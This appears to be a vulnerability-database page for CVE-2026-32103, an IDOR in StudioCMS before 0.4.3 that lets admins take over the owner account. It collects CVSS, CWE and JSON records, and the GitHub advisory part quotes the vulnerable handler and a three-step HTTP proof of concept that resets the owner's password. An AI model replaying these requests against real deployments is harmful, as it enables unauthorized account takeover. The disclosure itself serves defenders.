Vulnerability-Lookup

CVE-2026-32103 (GCVE-0-2026-32103)

Vulnerability from cvelistv5 – Published: 2026-03-11 20:06 – Updated: 2026-03-12 19:48

Title

StudioCMS: IDOR — Admin-to-Owner Account Takeover via Password Reset Link Generation

Summary

StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.4.3, the POST /studiocms_api/dashboard/create-reset-link endpoint allows any authenticated user with admin privileges to generate a password reset token for any other user, including the owner account. The handler verifies that the caller is an admin but does not enforce role hierarchy, nor does it validate that the target userId matches the caller's identity. Combined with the POST /studiocms_api/dashboard/reset-password endpoint, this allows a complete account takeover of the highest-privileged account in the system. This vulnerability is fixed in 0.4.3.

Severity

6.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-12 19:48 UTC

CWE

CWE-639 - Authorization Bypass Through User-Controlled Key
CWE-640 - Weak Password Recovery Mechanism for Forgotten Password

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7868 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/withstudiocms/studiocms/securi…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
withstudiocms	studiocms	Affected: < 0.4.3	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-32103",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-12T19:48:49.354364Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-12T19:48:56.254Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "studiocms",
          "vendor": "withstudiocms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.4.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.4.3, the POST /studiocms_api/dashboard/create-reset-link endpoint allows any authenticated user with admin privileges to generate a password reset token for any other user, including the owner account. The handler verifies that the caller is an admin but does not enforce role hierarchy, nor does it validate that the target userId matches the caller\u0027s identity. Combined with the POST /studiocms_api/dashboard/reset-password endpoint, this allows a complete account takeover of the highest-privileged account in the system. This vulnerability is fixed in 0.4.3."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.8,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "HIGH",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-640",
              "description": "CWE-640: Weak Password Recovery Mechanism for Forgotten Password",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-11T20:08:13.604Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-h7vr-cg25-jf8c",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-h7vr-cg25-jf8c"
        }
      ],
      "source": {
        "advisory": "GHSA-h7vr-cg25-jf8c",
        "discovery": "UNKNOWN"
      },
      "title": "StudioCMS: IDOR \u2014 Admin-to-Owner Account Takeover via Password Reset Link Generation"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-32103",
    "datePublished": "2026-03-11T20:06:58.276Z",
    "dateReserved": "2026-03-10T22:02:38.854Z",
    "dateUpdated": "2026-03-12T19:48:56.254Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-32103",
      "date": "2026-11-15",
      "epss": "0.00387",
      "percentile": "0.33296"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "studiocms",
                "vendor": "withstudiocms",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 0.4.3"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:studiocms:studiocms:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "BD3D1012-B2EE-465F-8398-96C5B01C1399",
                    "versionEndExcluding": "0.4.3",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.4.3, the POST /studiocms_api/dashboard/create-reset-link endpoint allows any authenticated user with admin privileges to generate a password reset token for any other user, including the owner account. The handler verifies that the caller is an admin but does not enforce role hierarchy, nor does it validate that the target userId matches the caller\u0027s identity. Combined with the POST /studiocms_api/dashboard/reset-password endpoint, this allows a complete account takeover of the highest-privileged account in the system. This vulnerability is fixed in 0.4.3."
          },
          {
            "lang": "es",
            "value": "StudioCMS es un sistema de gesti\u00f3n de contenido sin cabeza, nativo de Astro, renderizado en el lado del servidor. Antes de la 0.4.3, el punto final POST /studiocms_api/dashboard/create-reset-link permite a cualquier usuario autenticado con privilegios de administrador generar un token de restablecimiento de contrase\u00f1a para cualquier otro usuario, incluida la cuenta del propietario. El gestor verifica que el llamador es un administrador, pero no aplica la jerarqu\u00eda de roles, ni valida que el ID de usuario objetivo coincida con la identidad del llamador. Combinado con el punto final POST /studiocms_api/dashboard/reset-password, esto permite una toma de control completa de la cuenta con los privilegios m\u00e1s altos en el sistema. Esta vulnerabilidad est\u00e1 corregida en la 0.4.3."
          }
        ],
        "id": "CVE-2026-32103",
        "lastModified": "2026-06-17T10:35:08.460",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.8,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "HIGH",
                "privilegesRequired": "HIGH",
                "scope": "CHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.3,
              "impactScore": 4.0,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            },
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 7.2,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "HIGH",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 1.2,
              "impactScore": 5.9,
              "source": "nvd@nist.gov",
              "type": "Primary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-32103",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-12T19:48:49.354364Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-03-11T21:16:16.307",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-h7vr-cg25-jf8c"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-639"
              },
              {
                "lang": "en",
                "value": "CWE-640"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2026-03-27T07:42:58+00:00",
      "cve": "CVE-2026-32103",
      "id": "CVE-2026-32103",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "StudioCMS: IDOR \u2014 Admin-to-Owner Account Takeover via Password Reset Link Generation",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32103.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-32103",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-03-12T19:48:49.354364Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-03-12T19:48:53.275Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "studiocms",
              "vendor": "withstudiocms",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 0.4.3"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.4.3, the POST /studiocms_api/dashboard/create-reset-link endpoint allows any authenticated user with admin privileges to generate a password reset token for any other user, including the owner account. The handler verifies that the caller is an admin but does not enforce role hierarchy, nor does it validate that the target userId matches the caller\u0027s identity. Combined with the POST /studiocms_api/dashboard/reset-password endpoint, this allows a complete account takeover of the highest-privileged account in the system. This vulnerability is fixed in 0.4.3."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.8,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "HIGH",
                "privilegesRequired": "HIGH",
                "scope": "CHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-639",
                  "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-640",
                  "description": "CWE-640: Weak Password Recovery Mechanism for Forgotten Password",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-03-11T20:08:13.604Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-h7vr-cg25-jf8c",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-h7vr-cg25-jf8c"
            }
          ],
          "source": {
            "advisory": "GHSA-h7vr-cg25-jf8c",
            "discovery": "UNKNOWN"
          },
          "title": "StudioCMS: IDOR \u2014 Admin-to-Owner Account Takeover via Password Reset Link Generation"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-32103",
        "datePublished": "2026-03-11T20:06:58.276Z",
        "dateReserved": "2026-03-10T22:02:38.854Z",
        "dateUpdated": "2026-03-12T19:48:56.254Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

CNVD-2026-18152

Vulnerability from cnvd - Published: 2026-04-22

Title

StudioCMS授权问题漏洞

Description

StudioCMS是StudioCMS开源的一个内容管理系统。 StudioCMS存在授权问题漏洞，该漏洞源于密码重置令牌生成端点存在访问控制不当问题，攻击者可利用该漏洞导致管理员完全接管最高权限账户。

Severity

高

Patch Name

StudioCMS授权问题漏洞的补丁

Patch Description

StudioCMS是StudioCMS开源的一个内容管理系统。 StudioCMS存在授权问题漏洞，该漏洞源于密码重置令牌生成端点存在访问控制不当问题，攻击者可利用该漏洞导致管理员完全接管最高权限账户。目前，供应商发布了安全公告及相关补丁信息，修复了此漏洞。

Formal description

厂商已发布了漏洞修复程序，请及时关注更新： https://github.com/withstudiocms/studiocms/releases

Reference

https://github.com/withstudiocms/studiocms/security/advisories/GHSA-h7vr-cg25-jf8c

Impacted products

Name
StudioCMS StudioCMS <0.4.3

Show details on source website

JSON

To clipboard

{
  "cves": {
    "cve": {
      "cveNumber": "CVE-2026-32103",
      "cveUrl": "https://nvd.nist.gov/vuln/detail/CVE-2026-32103"
    }
  },
  "description": "StudioCMS\u662fStudioCMS\u5f00\u6e90\u7684\u4e00\u4e2a\u5185\u5bb9\u7ba1\u7406\u7cfb\u7edf\u3002\n\nStudioCMS\u5b58\u5728\u6388\u6743\u95ee\u9898\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u6e90\u4e8e\u5bc6\u7801\u91cd\u7f6e\u4ee4\u724c\u751f\u6210\u7aef\u70b9\u5b58\u5728\u8bbf\u95ee\u63a7\u5236\u4e0d\u5f53\u95ee\u9898\uff0c\u653b\u51fb\u8005\u53ef\u5229\u7528\u8be5\u6f0f\u6d1e\u5bfc\u81f4\u7ba1\u7406\u5458\u5b8c\u5168\u63a5\u7ba1\u6700\u9ad8\u6743\u9650\u8d26\u6237\u3002",
  "formalWay": "\u5382\u5546\u5df2\u53d1\u5e03\u4e86\u6f0f\u6d1e\u4fee\u590d\u7a0b\u5e8f\uff0c\u8bf7\u53ca\u65f6\u5173\u6ce8\u66f4\u65b0\uff1a\r\nhttps://github.com/withstudiocms/studiocms/releases",
  "isEvent": "\u901a\u7528\u8f6f\u786c\u4ef6\u6f0f\u6d1e",
  "number": "CNVD-2026-18152",
  "openTime": "2026-04-22",
  "patchDescription": "StudioCMS\u662fStudioCMS\u5f00\u6e90\u7684\u4e00\u4e2a\u5185\u5bb9\u7ba1\u7406\u7cfb\u7edf\u3002\r\n\r\nStudioCMS\u5b58\u5728\u6388\u6743\u95ee\u9898\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u6e90\u4e8e\u5bc6\u7801\u91cd\u7f6e\u4ee4\u724c\u751f\u6210\u7aef\u70b9\u5b58\u5728\u8bbf\u95ee\u63a7\u5236\u4e0d\u5f53\u95ee\u9898\uff0c\u653b\u51fb\u8005\u53ef\u5229\u7528\u8be5\u6f0f\u6d1e\u5bfc\u81f4\u7ba1\u7406\u5458\u5b8c\u5168\u63a5\u7ba1\u6700\u9ad8\u6743\u9650\u8d26\u6237\u3002\u76ee\u524d\uff0c\u4f9b\u5e94\u5546\u53d1\u5e03\u4e86\u5b89\u5168\u516c\u544a\u53ca\u76f8\u5173\u8865\u4e01\u4fe1\u606f\uff0c\u4fee\u590d\u4e86\u6b64\u6f0f\u6d1e\u3002",
  "patchName": "StudioCMS\u6388\u6743\u95ee\u9898\u6f0f\u6d1e\u7684\u8865\u4e01",
  "products": {
    "product": "StudioCMS StudioCMS \u003c0.4.3"
  },
  "referenceLink": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-h7vr-cg25-jf8c",
  "serverity": "\u9ad8",
  "submitTime": "2026-03-17",
  "title": "StudioCMS\u6388\u6743\u95ee\u9898\u6f0f\u6d1e"
}

FKIE_CVE-2026-32103

Vulnerability from fkie_nvd - Published: 2026-03-11 21:16 - Updated: 2026-06-17 10:35

Severity

6.8 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N
7.2 (High) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/withstudiocms/studiocms/security/advisories/GHSA-h7vr-cg25-jf8c	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	studiocms	studiocms	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "studiocms",
          "vendor": "withstudiocms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.4.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:studiocms:studiocms:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "BD3D1012-B2EE-465F-8398-96C5B01C1399",
              "versionEndExcluding": "0.4.3",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.4.3, the POST /studiocms_api/dashboard/create-reset-link endpoint allows any authenticated user with admin privileges to generate a password reset token for any other user, including the owner account. The handler verifies that the caller is an admin but does not enforce role hierarchy, nor does it validate that the target userId matches the caller\u0027s identity. Combined with the POST /studiocms_api/dashboard/reset-password endpoint, this allows a complete account takeover of the highest-privileged account in the system. This vulnerability is fixed in 0.4.3."
    },
    {
      "lang": "es",
      "value": "StudioCMS es un sistema de gesti\u00f3n de contenido sin cabeza, nativo de Astro, renderizado en el lado del servidor. Antes de la 0.4.3, el punto final POST /studiocms_api/dashboard/create-reset-link permite a cualquier usuario autenticado con privilegios de administrador generar un token de restablecimiento de contrase\u00f1a para cualquier otro usuario, incluida la cuenta del propietario. El gestor verifica que el llamador es un administrador, pero no aplica la jerarqu\u00eda de roles, ni valida que el ID de usuario objetivo coincida con la identidad del llamador. Combinado con el punto final POST /studiocms_api/dashboard/reset-password, esto permite una toma de control completa de la cuenta con los privilegios m\u00e1s altos en el sistema. Esta vulnerabilidad est\u00e1 corregida en la 0.4.3."
    }
  ],
  "id": "CVE-2026-32103",
  "lastModified": "2026-06-17T10:35:08.460",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.8,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.2,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-32103",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-03-12T19:48:49.354364Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-03-11T21:16:16.307",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-h7vr-cg25-jf8c"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-639"
        },
        {
          "lang": "en",
          "value": "CWE-640"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-H7VR-CG25-JF8C

Vulnerability from github – Published: 2026-03-12 14:49 – Updated: 2026-03-12 14:49

Summary

StudioCMS: IDOR — Admin-to-Owner Account Takeover via Password Reset Link Generation

Details

Summary

The POST /studiocms_api/dashboard/create-reset-link endpoint allows any authenticated user with admin privileges to generate a password reset token for any other user, including the owner account. The handler verifies that the caller is an admin but does not enforce role hierarchy, nor does it validate that the target userId matches the caller's identity. Combined with the POST /studiocms_api/dashboard/reset-password endpoint, this allows a complete account takeover of the highest-privileged account in the system.

Details

Vulnerable Code

File: packages/studiocms/frontend/pages/studiocms_api/dashboard/create-reset-link.ts Version: studiocms@0.3.0

const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isAdmin;  // [1]
if (!isAuthorized) {
    return apiResponseLogger(403, 'Unauthorized');
}

const { userId } = yield* readAPIContextJson<{ userId: string }>(ctx);            // [2]

if (!userId) {
    return apiResponseLogger(400, 'Invalid form data, userId is required');
}

// [3] userId is passed directly — no check against caller's identity
// [4] No check whether the target user outranks the caller
const token = yield* sdk.resetTokenBucket.new(userId);                            // [5]

Analysis

Unlike the API token endpoints (which only require isEditor), this handler correctly gates access at the isAdmin level [1]. However, two critical authorization checks are still missing: 1. No caller identity validation [2][3]: The userId from the JSON payload is never compared against the authenticated caller's session identity. An admin can specify any user's UUID, including the owner's. 2. No role hierarchy enforcement [4]: The handler does not verify whether the target user has a higher privilege level than the caller. An admin can target the owner account, which is the only account that should be immune to administrative actions from lower-ranked admins. 3. Reset token returned in response [5]: The generated reset token (a signed JWT) is returned directly in the HTTP response body. This token can then be used with the reset-password endpoint to set an arbitrary password for the target account, completing the account takeover chain.

The core issue is that password reset generation is treated as a generic admin operation rather than a self-service operation with explicit scope restrictions.

PoC

Environment User ID | Role 2450bf33-0135-4142-80be-9854f9a5e9f1 | owner eacee42e-ae7e-4e9e-945b-68e26696ece4 | admin

Step 1 — Verify Attacker's Session (Admin) Confirm the attacker is authenticated as admin (user dummy03):

POST /studiocms_api/dashboard/verify-session HTTP/1.1
Host: 127.0.0.1:4321
Cookie: auth_session=<admin_session_cookie>
Content-Type: application/json

{"originPathname":"http://127.0.0.1:4321/dashboard"}

Response:

{
  "isLoggedIn": true,
  "user": {
    "id": "eacee42e-ae7e-4e9e-945b-68e26696ece4",
    "name": "dummy03",
    "username": "dummy03"
  },
  "permissionLevel": "admin"
}

Step 2 — Generate Password Reset Token for the Owner The admin sends a request to create a reset link targeting the owner's UUID:

POST /studiocms_api/dashboard/create-reset-link HTTP/1.1
Host: 127.0.0.1:4321
Cookie: auth_session=<admin_session_cookie>
Content-Type: application/json

{"userId": "2450bf33-0135-4142-80be-9854f9a5e9f1"}

Response:

{
  "id": "e11c98ac-d523-4404-b9c6-921d7d01cdcd",
  "userId": "2450bf33-0135-4142-80be-9854f9a5e9f1",
  "token": "<reset_jwt_token>"
}

The server generated a valid password reset JWT for the owner account and returned it to the admin caller.

Step 3 — Reset the Owner's Password Using all three values from the previous response (id, userId, token), the attacker sets a new password for the owner:

POST /studiocms_api/dashboard/reset-password HTTP/1.1
Host: 127.0.0.1:4321
Cookie: auth_session=<admin_session_cookie>
Content-Type: application/json

{
  "id": "e11c98ac-d523-4404-b9c6-921d7d01cdcd",
  "userid": "2450bf33-0135-4142-80be-9854f9a5e9f1",
  "token": "<reset_jwt_token>",
  "password": "pwned1234@@",
  "confirm_password": "pwned1234@@"
}

Response:

{"message": "User password updated successfully"}

The owner's password has been changed. The admin can now log in as the owner with the new credentials, gaining full control of the StudioCMS instance.

Impact

Owner Account Takeover: Any admin can change the owner's password and assume full control of the StudioCMS instance, including all content, user management, and system configuration.

Severity

6.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "studiocms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32103"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T14:49:38Z",
    "nvd_published_at": "2026-03-11T21:16:16Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe POST /studiocms_api/dashboard/create-reset-link endpoint allows any authenticated user with admin privileges to generate a password reset token for any other user, including the owner account. The handler verifies that the caller is an admin but does not enforce role hierarchy, nor does it validate that the target userId matches the caller\u0027s identity. Combined with the POST /studiocms_api/dashboard/reset-password endpoint, this allows a complete account takeover of the highest-privileged account in the system.\n\n## Details\n#### Vulnerable Code\n**File:** packages/studiocms/frontend/pages/studiocms_api/dashboard/create-reset-link.ts\n**Version:** studiocms@0.3.0\n```\nconst isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isAdmin;  // [1]\nif (!isAuthorized) {\n    return apiResponseLogger(403, \u0027Unauthorized\u0027);\n}\n\nconst { userId } = yield* readAPIContextJson\u003c{ userId: string }\u003e(ctx);            // [2]\n\nif (!userId) {\n    return apiResponseLogger(400, \u0027Invalid form data, userId is required\u0027);\n}\n\n// [3] userId is passed directly \u2014 no check against caller\u0027s identity\n// [4] No check whether the target user outranks the caller\nconst token = yield* sdk.resetTokenBucket.new(userId);                            // [5]\n```\n#### Analysis\nUnlike the API token endpoints (which only require isEditor), this handler correctly gates access at the isAdmin level [1]. However, two critical authorization checks are still missing:\n1. **No caller identity validation [2][3]:** The userId from the JSON payload is never compared against the authenticated caller\u0027s session identity. An admin can specify any user\u0027s UUID, including the owner\u0027s.\n2. **No role hierarchy enforcement [4]:** The handler does not verify whether the target user has a higher privilege level than the caller. An admin can target the owner account, which is the only account that should be immune to administrative actions from lower-ranked admins.\n3. **Reset token returned in response [5]:** The generated reset token (a signed JWT) is returned directly in the HTTP response body. This token can then be used with the reset-password endpoint to set an arbitrary password for the target account, completing the account takeover chain.\n\nThe core issue is that password reset generation is treated as a generic admin operation rather than a self-service operation with explicit scope restrictions.\n\n## PoC\n**Environment**\n*User ID | Role*\n2450bf33-0135-4142-80be-9854f9a5e9f1 | owner\neacee42e-ae7e-4e9e-945b-68e26696ece4 | admin\n\n**Step 1 \u2014 Verify Attacker\u0027s Session (Admin)**\nConfirm the attacker is authenticated as admin (user dummy03):\n```\nPOST /studiocms_api/dashboard/verify-session HTTP/1.1\nHost: 127.0.0.1:4321\nCookie: auth_session=\u003cadmin_session_cookie\u003e\nContent-Type: application/json\n\n{\"originPathname\":\"http://127.0.0.1:4321/dashboard\"}\n```\nResponse:\n```\n{\n  \"isLoggedIn\": true,\n  \"user\": {\n    \"id\": \"eacee42e-ae7e-4e9e-945b-68e26696ece4\",\n    \"name\": \"dummy03\",\n    \"username\": \"dummy03\"\n  },\n  \"permissionLevel\": \"admin\"\n}\n```\n\n**Step 2 \u2014 Generate Password Reset Token for the Owner**\nThe admin sends a request to create a reset link targeting the owner\u0027s UUID:\n```\nPOST /studiocms_api/dashboard/create-reset-link HTTP/1.1\nHost: 127.0.0.1:4321\nCookie: auth_session=\u003cadmin_session_cookie\u003e\nContent-Type: application/json\n\n{\"userId\": \"2450bf33-0135-4142-80be-9854f9a5e9f1\"}\n```\nResponse:\n```\n{\n  \"id\": \"e11c98ac-d523-4404-b9c6-921d7d01cdcd\",\n  \"userId\": \"2450bf33-0135-4142-80be-9854f9a5e9f1\",\n  \"token\": \"\u003creset_jwt_token\u003e\"\n}\n```\nThe server generated a valid password reset JWT for the owner account and returned it to the admin caller.\n\n**Step 3 \u2014 Reset the Owner\u0027s Password**\nUsing all three values from the previous response (id, userId, token), the attacker sets a new password for the owner:\n```\nPOST /studiocms_api/dashboard/reset-password HTTP/1.1\nHost: 127.0.0.1:4321\nCookie: auth_session=\u003cadmin_session_cookie\u003e\nContent-Type: application/json\n\n{\n  \"id\": \"e11c98ac-d523-4404-b9c6-921d7d01cdcd\",\n  \"userid\": \"2450bf33-0135-4142-80be-9854f9a5e9f1\",\n  \"token\": \"\u003creset_jwt_token\u003e\",\n  \"password\": \"pwned1234@@\",\n  \"confirm_password\": 